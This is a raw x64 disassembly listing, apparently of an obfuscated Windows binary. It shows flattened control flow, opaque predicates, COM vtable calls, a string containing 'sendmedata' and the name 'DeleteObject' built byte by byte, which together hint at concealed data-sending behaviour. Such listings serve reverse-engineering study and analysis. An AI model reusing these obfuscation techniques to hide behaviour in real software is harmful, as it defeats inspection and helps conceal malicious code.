test cl, cl
mov ecx, eax
mov ebx, 0xa551e16d
jmp 0x14001dfc3
cmp eax, 0x1535bd42
jg 0x140019a61
cmp eax, 0x11510c28
jg 0x14001ac00
cmp eax, 0x10660988
je 0x14001d696
cmp eax, 0x110ed5e5
jne 0x140017570
mov rax, qword [rbp - 8]
mov rax, qword [rbp - 8]
mov qword [rax], 0
mov rax, qword [rbp - 0x10]
mov rcx, qword [rax]
mov rax, qword [rcx]
mov rax, qword [rax + 0xa8]
mov rbx, qword [rbp - 8]
mov rdx, qword [rbp + 0xa0]
sub rsp, 0x30
mov qword [rsp + 0x20], rbx
xor r8d, r8d
mov r9d, 2
call rax
add rsp, 0x30
mov eax, 0x3801fa8d
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
cmp eax, 0xb471d6ce
jg 0x14001ac77
cmp eax, 0xb1a69c0c
je 0x14001d6ab
cmp eax, 0xb3996662
jne 0x140017570
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xd6e35a57
and ecx, 0x291ca5a8
or ecx, edx
xor ecx, 0xd6e35a56
or ecx, eax
cmp ecx, 0xffffffff
setne al
cmp dword [0x14008201c], 9
setg cl
mov edx, ecx
and dl, al
xor cl, al
or dl, cl
mov ebx, edx
xor bl, cl
test dl, dl
mov eax, 0xd353ac94
mov edx, 0x97887130
cmovne eax, edx
test cl, cl
cmove eax, edx
test bl, bl
mov ecx, 0xd353ac94
jmp 0x14001f199
cmp eax, 0xfc391996
jg 0x14001ad0a
cmp eax, 0xfbdb0ed6
je 0x14001d6c0
cmp eax, 0xfbf27773
jne 0x140017570
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0x6391442c
and edx, 0x9c6ebbd3
or edx, ebx
xor edx, 0x6391442d
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
and cl, dl
and al, bl
or al, cl
mov ecx, ebx
and cl, dl
xor bl, dl
or bl, cl
mov ecx, ebx
xor cl, al
mov ecx, 0xa41ae7de
mov edx, 0x536a885a
cmovne ecx, edx
test bl, bl
mov edx, 0xa41ae7de
jmp 0x14001da87
cmp eax, 0x7100afd3
jg 0x14001ad92
cmp eax, 0x7033c78e
je 0x14001d6d5
cmp eax, 0x70755d79
jne 0x140017570
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xd9c8c3f
and ecx, 0xf26373c0
or ecx, edx
xor ecx, 0xf26373c1
xor eax, ecx
test eax, ecx
setne al
cmp dword [0x14008201c], 9
setg cl
mov edx, ecx
or dl, al
xor cl, al
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0x42cf90ec
mov ebx, 0x46e7b15b
cmovne ecx, ebx
test dl, dl
mov edx, 0x42cf90ec
jmp 0x14001f698
cmp eax, 0x3801fa8c
jg 0x14001adb4
cmp eax, 0x35e3b4e3
je 0x14001d74e
cmp eax, 0x36c2797e
jne 0x140017570
mov rcx, qword [rbp + 0x160]
sub rsp, 0x20
call qword [0x140082020]
add rsp, 0x20
mov edx, dword [rbp + 0x174]
mov rcx, qword [rbp + 0x178]
sub rsp, 0x20
call fcn.14000aec0
add rsp, 0x20
mov r15, rax
sub rsp, 0x20
mov rcx, rax
call fcn.140060a40
add rsp, 0x20
mov rdi, rax
sub rsp, 0x30
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], r15
lea rcx, [0x140082040]
xor edx, edx
lea r8, [0x140082070]
xor r9d, r9d
call fcn.1400490f0
add rsp, 0x30
movsxd rdx, edi
sub rsp, 0x20
mov rcx, r15
call fcn.14000aec0
add rsp, 0x20
mov r12, r14
mov r14, rax
mov rax, qword [rbp + 0x40]
mov rdi, qword [rbp + 0x40]
movaps xmmword [rdi], xmm6
movaps xmmword [rdi + 0x10], xmm6
movaps xmmword [rdi + 0x20], xmm6
mov word [rdi + 0x30], 0
sub rsp, 0x20
mov r8d, 0x32
lea rcx, [0x140081b60]
mov rdx, rdi
call fcn.140010710
mov rcx, r14
call fcn.140060a40
add rsp, 0x20
mov rsi, rax
shl rsi, 0x20
movabs rax, 0xc2d51b7b881e6459
mov rcx, rax
sub rsi, rax
movabs rax, 0x62f329d9ab82efe2
mov rdx, rax
sub rsi, rax
movabs rax, 0x7d000000000
add rsi, rax
add rsi, rdx
add rsi, rcx
sar rsi, 0x20
sub rsp, 0x20
mov rcx, rsi
call fcn.14005ff54
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
mov rcx, rax
xor edx, edx
mov r8, rsi
call fcn.140059c80
mov rcx, rdi
call fcn.140060a40
mov rcx, rdi
mov rdx, rax
call fcn.14000aec0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov rcx, rbx
lea rdx, str.dtysccid_sdtior_s
lea r8, [0x140082080]
mov r9, r14
call section..text
add rsp, 0x20
mov rax, qword [rbp + 0x48]
mov rsi, qword [rbp + 0x48]
sub rsp, 0x20
mov r8d, 0x5dc
mov rcx, rsi
xor edx, edx
call fcn.140059c80
mov rcx, rsi
lea rdx, str._ymybisvimqjoknhmgryit_sendmedataoknmkehdn_
call fcn.140060c84
mov rcx, rbx
call fcn.140060a40
mov rcx, rbx
mov rdx, rsi
mov r8d, eax
call fcn.140011990
add rsp, 0x20
mov rcx, qword [rbp + 0x178]
sub rsp, 0x20
call fcn.14005ff40
mov rcx, rbx
call fcn.14005ff40
mov rcx, rdi
call fcn.14005ff40
mov rcx, r15
call fcn.14005ff40
mov rcx, r14
mov r14, r12
call fcn.14005ff40
add rsp, 0x20
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xf18fdede
and ecx, 0xe702121
or ecx, edx
xor ecx, 0xe702120
xor eax, ecx
test eax, ecx
setne al
cmp dword [0x14008201c], 9
setg cl
mov edx, ecx
and dl, al
xor cl, al
or dl, cl
mov eax, edx
xor al, cl
mov eax, 0xd5f1a3fc
mov ebx, 0xc985a2c
cmovne eax, ebx
test dl, dl
mov edx, 0xd5f1a3fc
jmp 0x14001fe1f
cmp eax, 0x87a0a9c7
jg 0x14001ae31
cmp eax, 0x85366261
je 0x14001d7d3
cmp eax, 0x8687d640
jne 0x140017570
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xfffffffe
xor edx, 1
or edx, eax
cmp edx, 0xffffffff
sete r8b
setne al
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
mov edx, ecx
xor dl, al
and dl, cl
and bl, r8b
and cl, al
or cl, bl
mov eax, edx
xor al, cl
mov ebx, 0xf6fcf6b3
mov edi, 0x142dd634
jmp 0x14001bea0
cmp eax, 0xd353ac93
jg 0x14001ae54
cmp eax, 0xd29075f4
je 0x14001d84c
cmp eax, 0xd339e5f0
jne 0x140017570
mov rax, qword [rbp + 0x10]
mov rcx, qword [rax]
mov rax, qword [rcx]
mov rdx, qword [rbp - 8]
mov rdx, qword [rdx]
sub rsp, 0x20
xor r8d, r8d
call qword [rax + 0x58]
add rsp, 0x20
mov dword [rbp + 0x128], eax
cmp dword [rbp + 0x128], 0
setns byte [rbp + 0x12f]
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0x2ef518c8
and edx, 0xd10ae737
or edx, ebx
xor edx, 0x2ef518c9
or edx, eax
cmp edx, 0xffffffff
setne dl
sete al
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and cl, al
and dl, bl
or dl, cl
mov ecx, ebx
xor cl, al
or bl, al
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, dl
test bl, bl
mov eax, 0x833da0e3
mov ebx, 0x5c7c7ff0
cmovne eax, ebx
test dl, dl
cmove eax, ebx
test cl, cl
mov ecx, 0x833da0e3
jmp 0x14001f199
cmp eax, 0x50d901bf
jg 0x14001ae97
cmp eax, 0x4f047da7
je 0x14001d8bb
cmp eax, 0x4f921417
jne 0x140017570
mov eax, dword [rbp + 0x1a4]
mov eax, 0x962cceb2
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
cmp eax, 0xd454938
jg 0x14001af27
cmp eax, 0xcceb8ea
je 0x14001d923
cmp eax, 0xd2f76f5
jne 0x140017570
mov eax, 0xcceb8ea
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
cmp eax, 0x6983410f
jg 0x14001af86
cmp eax, 0x69761104
je 0x14001d9c0
cmp eax, 0x697815b5
jne 0x140017570
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xfffffffe
xor edx, 1
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
or cl, dl
xor bl, al
mov eax, ecx
xor al, bl
mov edx, 0xcb127d7
mov eax, 0xe1fb84e1
cmovne edx, eax
test bl, bl
mov eax, edx
mov ebx, 0xcb127d7
jmp 0x14001ef36
cmp eax, 0xa8115b9f
jg 0x14001affb
cmp eax, 0xa551e16d
je 0x14001da2b
cmp eax, 0xa758492e
jne 0x140017570
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
not edx
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and al, cl
or cl, dl
and bl, dl
or bl, al
mov eax, ecx
xor al, bl
mov eax, 0x71b2d4a7
mov edx, 0x97d75018
cmovne eax, edx
test bl, bl
mov edx, eax
mov ebx, 0x71b2d4a7
jmp 0x14001f4e3
cmp eax, 0xf6fcf6b2
jg 0x14001b065
cmp eax, 0xf6aaf957
je 0x14001da94
cmp eax, 0xf6d62255
jne 0x140017570
cmp byte [rbp + 0x187], 0
mov eax, 0x7773f0ad
mov ecx, 0x772c2a2c
jmp 0x14001f467
cmp eax, 0x2eba2587
jg 0x14001b090
cmp eax, 0x2cebb197
je 0x14001daa9
cmp eax, 0x2d2b308a
jne 0x140017570
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
xor eax, edx
test eax, edx
setne r8b
sete al
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
mov edx, ebx
or bl, al
and al, cl
and dl, r8b
or dl, al
xor cl, r8b
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, dl
test bl, bl
mov eax, 0xf547daae
mov ebx, 0x50d901c0
cmovne eax, ebx
test dl, dl
cmove eax, ebx
test cl, cl
mov ecx, 0xf547daae
jmp 0x14001f199
cmp eax, 0x9bb1b4e6
jg 0x14001b0bb
cmp eax, 0x9ab7b3d7
je 0x14001dadc
cmp eax, 0x9b1dfebe
jne 0x140017570
mov rax, qword [rbp + 0x10]
mov rcx, qword [rax]
mov rax, qword [rcx]
sub rsp, 0x20
call qword [rax + 0x60]
add rsp, 0x20
mov eax, 0x7033c78e
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
cmp eax, 0xe3889c9b
jg 0x14001b133
cmp eax, 0xe1fb84e1
je 0x14001daf1
cmp eax, 0xe29e232a
jne 0x140017570
mov eax, 0xf9cd3bf3
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
cmp eax, 0x5f4dcf0a
jg 0x14001b15e
cmp eax, 0x5ebcc5bc
je 0x14001db06
cmp eax, 0x5f374bc8
jne 0x140017570
mov rax, qword [rbp - 0x10]
mov rcx, qword [rax]
mov rax, qword [rcx]
sub rsp, 0x20
call qword [rax + 0x10]
add rsp, 0x20
mov rax, qword [rbp + 0xd8]
mov ecx, dword [0x140082018]
mov eax, dword [0x14008201c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xd16481c3
and edx, 0x2e9b7e3c
or edx, ecx
mov ecx, edx
xor ecx, 0x2e9b7e3c
xor edx, 0x41408040
and edx, 0x43419868
mov ebx, ecx
and ebx, 0xbcbe6797
or ebx, edx
xor ebx, 0xbcbe6796
and ecx, 0xfffffffe
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xd585b5e3
and ecx, 0x2a7a4a1c
or ecx, edx
xor ecx, 0x2a7a4a1c
sete cl
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
and al, dl
and cl, bl
or cl, al
mov eax, ebx
and al, dl
xor bl, dl
or bl, al
mov edx, ebx
xor dl, cl
test bl, bl
mov eax, 0xdabcf962
mov ebx, 0x6c795752
cmovne eax, ebx
test cl, cl
cmove eax, ebx
test dl, dl
mov ecx, 0xdabcf962
jmp 0x14001f199
cmp eax, 0x1d311281
jg 0x14001b189
cmp eax, 0x1ac0451b
je 0x14001db61
cmp eax, 0x1c8e088c
jne 0x140017570
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xfffffffe
xor edx, 1
or edx, eax
mov eax, edx
not eax
and eax, 0x324ccd63
and edx, 0xcdb3329c
or edx, eax
xor edx, 0xcdb3329c
sete r8b
setne al
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
mov edx, ecx
xor dl, al
and dl, cl
and bl, r8b
and cl, al
or cl, bl
mov eax, edx
xor al, cl
mov ebx, 0x46ff558d
mov edi, 0xfc6d2e9f
jmp 0x14001bea0
cmp eax, 0xbd1bf822
jg 0x14001b209
cmp eax, 0xb8631534
je 0x14001dbee
cmp eax, 0xbb742d1b
jne 0x140017570
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea ebx, [rax - 1]
imul ebx, eax
mov edx, ebx
not edx
and ebx, 0xa974dbc3
mov eax, edx
and eax, 0x568b243c
or eax, ebx
xor eax, 0x568b243d
and edx, 0xfffffffe
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and al, cl
or cl, dl
and bl, dl
or bl, al
mov eax, ecx
xor al, bl
mov eax, 0x3df5cc5
mov edx, 0x27f5174e
cmovne eax, edx
test bl, bl
mov edx, eax
mov ebx, 0x3df5cc5
jmp 0x14001f4e3
cmp eax, 0x32f6770
jg 0x14001b23e
cmp eax, 0x28ca3c
je 0x14001dc6b
cmp eax, 0x58a57a
jne 0x140017570
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xb56243c5
and edx, 0x4a9dbc3a
or edx, ebx
xor edx, 0xb56243c4
or edx, eax
cmp edx, 0xffffffff
setne al
sete dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and dl, cl
and bl, al
or bl, dl
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
mov edx, ecx
xor dl, bl
test cl, cl
mov eax, 0x58ffd8e0
mov ecx, 0x7966c01e
cmovne eax, ecx
test bl, bl
cmove eax, ecx
test dl, dl
mov ecx, 0x58ffd8e0
jmp 0x14001f199
cmp eax, 0x76f2c7cd
jg 0x14001b2dd
cmp eax, 0x744bc9fd
je 0x14001dcc5
cmp eax, 0x749c2a4f
jne 0x140017570
mov eax, 0x52758b91
mov ecx, dword [rbp + 0x190]
jmp 0x14001b9ad
cmp eax, 0x3f8e9c3d
jg 0x14001b346
cmp eax, 0x3e4e9c83
je 0x14001dcda
cmp eax, 0x3f5484aa
jne 0x140017570
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xc1f56aaa
mov edx, eax
and edx, 0x3e0a9555
or edx, ecx
xor edx, 0x3e0a9554
and eax, 0xfffffffe
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x638fa3f9
and eax, 0x9c705c06
or eax, ecx
xor eax, 0x9c705c06
sete al
cmp dword [0x14008201c], 0xa
setl cl
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
mov edx, 0xf1a0920a
mov ebx, 0x7b786f1d
cmovne edx, ebx
test al, al
mov eax, edx
mov ebx, 0xf1a0920a
jmp 0x14001d9a8
cmp eax, 0x83ee6731
jg 0x14001b3d4
cmp eax, 0x833da0e3
je 0x14001dd4b
cmp eax, 0x8344a94c
jne 0x140017570
mov eax, 0xce005159
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
cmp eax, 0xd0bcc7fa
jg 0x14001b452
cmp eax, 0xcde28b53
je 0x14001ddc7
cmp eax, 0xce005159
jne 0x140017570
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
xor eax, edx
test eax, edx
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and al, cl
or cl, dl
and bl, dl
or bl, al
mov eax, ebx
xor al, cl
test bl, bl
mov edx, 0x8344a94c
mov ebx, 0x67f80ac9
cmovne edx, ebx
test cl, cl
mov ecx, 0x8344a94c
jmp 0x14001df26
cmp eax, 0x4d830ac8
jg 0x14001b4d7
cmp eax, 0x46ff558d
je 0x14001de20
cmp eax, 0x4cf56ba9
jne 0x140017570
cmp byte [rbp + 0x15f], 0
mov eax, 0x772c2a2c
mov ecx, 0xcde28b53
jmp 0x14001f467
cmp eax, 0xc985a2b
jg 0x14001b55a
cmp eax, 0xabb0e47
je 0x14001de4a
cmp eax, 0xc28b849
jne 0x140017570
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x118], rax
mov rax, qword [rbp + 0x118]
mov rax, qword [rbp + 0x10]
mov qword [rax], 0
mov rax, qword [rbp]
mov rcx, qword [rax]
mov rax, qword [rcx]
mov rdx, qword [rbp + 0x10]
sub rsp, 0x20
xor r8d, r8d
call qword [rax + 0x50]
add rsp, 0x20
mov dword [rbp + 0x120], eax
cmp dword [rbp + 0x120], 0
setns byte [rbp + 0x127]
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xe8da234d
and ecx, 0x1725dcb2
or ecx, eax
mov eax, ecx
xor eax, 0x1725dcb2
xor ecx, 0x4880024d
and ecx, 0x4aa19e6d
mov edx, eax
and edx, 0xb55e6192
or edx, ecx
xor edx, 0xb55e6193
and eax, 0xfffffffe
or eax, edx
cmp eax, 0xffffffff
sete al
cmp dword [0x14008201c], 0xa
setl cl
xor al, cl
mov edx, eax
not dl
and dl, cl
mov ecx, edx
xor cl, al
mov ecx, 0x35b4948a
mov ebx, 0xb0ff86e5
jmp 0x14001f18d
cmp eax, 0xa41ae7dd
jg 0x14001b5cf
cmp eax, 0xa186100b
je 0x14001de60
cmp eax, 0xa3da1a62
jne 0x140017570
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xd79b78d4
and edx, 0x2864872b
or edx, ebx
xor edx, 0x2864872a
xor eax, edx
test eax, edx
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and al, cl
or cl, dl
and bl, dl
or bl, al
mov eax, ecx
xor al, bl
mov eax, 0xce005159
mov edx, 0x8344a94c
cmovne eax, edx
test bl, bl
mov edx, eax
mov ebx, 0xce005159
jmp 0x14001f4e3
cmp eax, 0xf59a8c51
jg 0x14001b5fa
cmp eax, 0xf3b39ae3
je 0x14001deba
cmp eax, 0xf547daae
jne 0x140017570
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
not ecx
or ecx, eax
cmp ecx, 0xffffffff
sete al
cmp dword [0x14008201c], 0xa
setl cl
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
test al, al
mov eax, 0x7e3260a2
mov ebx, 0x2a6ceb12
cmovne eax, ebx
test cl, cl
mov ecx, 0x7e3260a2
cmove eax, ecx
jmp 0x14001e640
cmp eax, 0x2aac1fdb
jg 0x14001b698
cmp eax, 0x29cf3600
je 0x14001df33
cmp eax, 0x2a6ceb12
jne 0x140017570
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
xor eax, ecx
test eax, ecx
sete al
cmp dword [0x14008201c], 0xa
setl cl
xor al, cl
mov edx, eax
not dl
and dl, cl
mov ecx, edx
xor cl, al
test al, al
mov eax, 0x7e3260a2
mov ebx, 0xff4e4e0d
cmovne eax, ebx
test dl, dl
mov edx, 0x7e3260a2
jmp 0x14001edab
cmp eax, 0x99844144
jg 0x14001b754
cmp eax, 0x97d75018
je 0x14001df60
cmp eax, 0x97f100c3
jne 0x140017570
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
xor eax, edx
test eax, edx
setne al
sete dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and dl, cl
and bl, al
or bl, dl
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
mov eax, ecx
xor al, bl
test cl, cl
mov ecx, 0x6414828e
mov edx, 0xf7564599
cmovne ecx, edx
test bl, bl
cmove ecx, edx
test al, al
mov eax, 0x6414828e
jmp 0x140017565
cmp eax, 0xddf9089a
jg 0x14001b7ce
cmp eax, 0xdabcf962
je 0x14001df75
cmp eax, 0xdba9fe9a
jne 0x140017570
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xfffffffe
xor ecx, 1
or ecx, eax
mov eax, ecx
not eax
and eax, 0xb3d6d84a
and ecx, 0x4c2927b5
or ecx, eax
xor ecx, 0x4c2927b5
setne al
sete cl
cmp dword [0x14008201c], 9
setg dl
xor cl, dl
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
mov ebx, ecx
xor bl, dl
test dl, dl
mov eax, 0x265b557d
mov edx, 0x8481399
cmovne eax, edx
test cl, cl
cmovne eax, edx
test bl, bl
mov ecx, 0x265b557d
jmp 0x14001f467
cmp eax, 0x5c7c7fef
jg 0x14001b859
cmp eax, 0x58ffd8e0
je 0x14001dfd0
cmp eax, 0x59ab8f20
jne 0x140017570
mov ecx, dword [0x140082018]
mov eax, dword [0x14008201c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xfa8a280e
and edx, 0x575d7f1
or edx, ecx
mov ecx, edx
xor ecx, 0x575d7f1
xor edx, 0x4a000000
and edx, 0x4f6585d1
mov ebx, ecx
and ebx, 0xb09a7a2e
or ebx, edx
xor ebx, 0xb09a7a2f
and ecx, 0xfffffffe
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xeea2811
and ecx, 0xf115d7ee
or ecx, edx
xor ecx, 0xf115d7ee
sete cl
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
and al, dl
and cl, bl
or cl, al
mov eax, ebx
and al, dl
xor bl, dl
or bl, al
mov edx, ebx
xor dl, cl
test bl, bl
mov eax, 0x7231e97d
mov ebx, 0xee0af10b
cmovne eax, ebx
test cl, cl
cmove eax, ebx
test dl, dl
mov ecx, 0x7231e97d
jmp 0x14001f199
cmp eax, 0x19c504f0
jg 0x14001b8d3
cmp eax, 0x1535bd43
je 0x14001dffd
cmp eax, 0x15670932
jne 0x140017570
mov ecx, dword [0x140082018]
mov eax, dword [0x14008201c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x3c662644
and edx, 0xc399d9bb
or edx, ecx
mov ecx, edx
xor ecx, 0xc399d9bb
xor edx, 0x14260640
and edx, 0x173e4e62
mov ebx, ecx
and ebx, 0xe8c1b19d
or ebx, edx
xor ebx, 0xe8c1b19c
and ecx, 0xfffffffe
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xc4a00b4a
and ecx, 0x3b5ff4b5
or ecx, edx
xor ecx, 0x3b5ff4b5
sete r8b
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov ecx, eax
xor cl, dl
and cl, al
and bl, r8b
and al, dl
or al, bl
mov edx, ecx
xor dl, al
mov edx, 0x1ac0451b
mov ebx, 0x99d74727
jmp 0x14001d9a1
cmp eax, 0xb5c20c20
je 0x14001e02a
cmp eax, 0xb61746ea
jne 0x140017570
mov rax, qword [rbp + 8]
mov rax, qword [rbp + 8]
mov qword [rax], 0
mov rax, qword [rbp - 0x10]
mov rcx, qword [rax]
mov rax, qword [rcx]
mov rdx, qword [rbp + 8]
sub rsp, 0x20
call qword [rax + 0x70]
add rsp, 0x20
mov eax, 0x42ef2a7
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
cmp eax, 0xfdfd9d64
je 0x14001e1ae
cmp eax, 0xfe41ac2e
jne 0x140017570
mov rax, qword [rbp]
mov rcx, qword [rax]
mov rax, qword [rcx]
sub rsp, 0x20
call qword [rax + 0x10]
add rsp, 0x20
mov rax, qword [rbp + 0xf8]
mov eax, 0x103d1af8
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
cmp eax, 0x72144b24
je 0x14001e1f4
cmp eax, 0x7231e97d
jne 0x140017570
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0x3e62e45c
and edx, 0xc19d1ba3
or edx, ebx
xor edx, 0x3e62e45d
or edx, eax
cmp edx, 0xffffffff
setne dl
sete al
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and cl, al
and dl, bl
or dl, cl
mov ecx, ebx
xor cl, al
or bl, al
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, dl
test bl, bl
mov eax, 0xd7d552c8
mov ebx, 0xee0af10b
cmovne eax, ebx
test dl, dl
cmove eax, ebx
test cl, cl
mov ecx, 0xd7d552c8
jmp 0x14001f199
cmp eax, 0x3aa81275
je 0x14001e21e
cmp eax, 0x3b6e3720
jne 0x140017570
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xfffffffe
xor edx, 1
or edx, eax
mov eax, edx
not eax
and eax, 0x63ad234
and edx, 0xf9c52dcb
or edx, eax
xor edx, 0xf9c52dcb
sete r8b
setne al
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
mov edx, ecx
xor dl, al
and dl, cl
and bl, r8b
and cl, al
or cl, bl
mov ebx, ecx
xor bl, dl
test cl, cl
mov eax, 0x6ec5fd6e
mov edi, 0x29cf3600
cmovne eax, edi
test dl, dl
mov ecx, 0x6ec5fd6e
jmp 0x14001f030
cmp eax, 0x8bf4b4f1
je 0x14001e2cd
cmp eax, 0x8d2d3f65
jne 0x140017570
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
not edx
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
or cl, dl
xor bl, al
mov eax, ecx
xor al, bl
mov eax, 0x85366261
mov edx, 0x6e6d25d
cmovne eax, edx
test bl, bl
mov edx, eax
mov ebx, 0x85366261
jmp 0x14001f4e3
cmp eax, 0xd5f1a3fc
je 0x14001e331
cmp eax, 0xd64ce2f9
jne 0x140017570
mov rax, qword [rbp]
mov rax, qword [rbp]
mov qword [rax], 0
mov rax, qword [rbp - 0x10]
mov rcx, qword [rax]
mov rax, qword [rcx]
mov r9, qword [rbp]
sub rsp, 0x20
lea rdx, [0x140074960]
xor r8d, r8d
call qword [rax + 0x40]
add rsp, 0x20
mov eax, 0x45776630
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
cmp eax, 0x52aae6d8
je 0x14001e346
cmp eax, 0x536a885a
jne 0x140017570
mov rax, qword [rbp + 0x18]
mov rdx, qword [rbp + 0x18]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x20], xmm6
movaps xmmword [rdx + 0x10], xmm6
mov word [rdx + 0x30], 0
mov byte [rdx], 0x44
mov rax, qword [rbp + 0x18]
mov byte [rax + 1], 0x65
mov rax, qword [rbp + 0x18]
mov byte [rax + 2], 0x6c
mov rax, qword [rbp + 0x18]
mov byte [rax + 3], 0x65
mov rax, qword [rbp + 0x18]
mov byte [rax + 4], 0x74
mov rax, qword [rbp + 0x18]
mov byte [rax + 5], 0x65
mov rax, qword [rbp + 0x18]
mov byte [rax + 6], 0x4f
mov rax, qword [rbp + 0x18]
mov byte [rax + 7], 0x62
mov rax, qword [rbp + 0x18]
mov byte [rax + 8], 0x6a
mov rax, qword [rbp + 0x18]
mov byte [rax + 9], 0x65
mov rax, qword [rbp + 0x18]
mov byte [rax + 0xa], 0x63
mov rax, qword [rbp + 0x18]
mov byte [rax + 0xb], 0x74
mov rcx, qword [0x140081b28]
sub rsp, 0x20
call r14
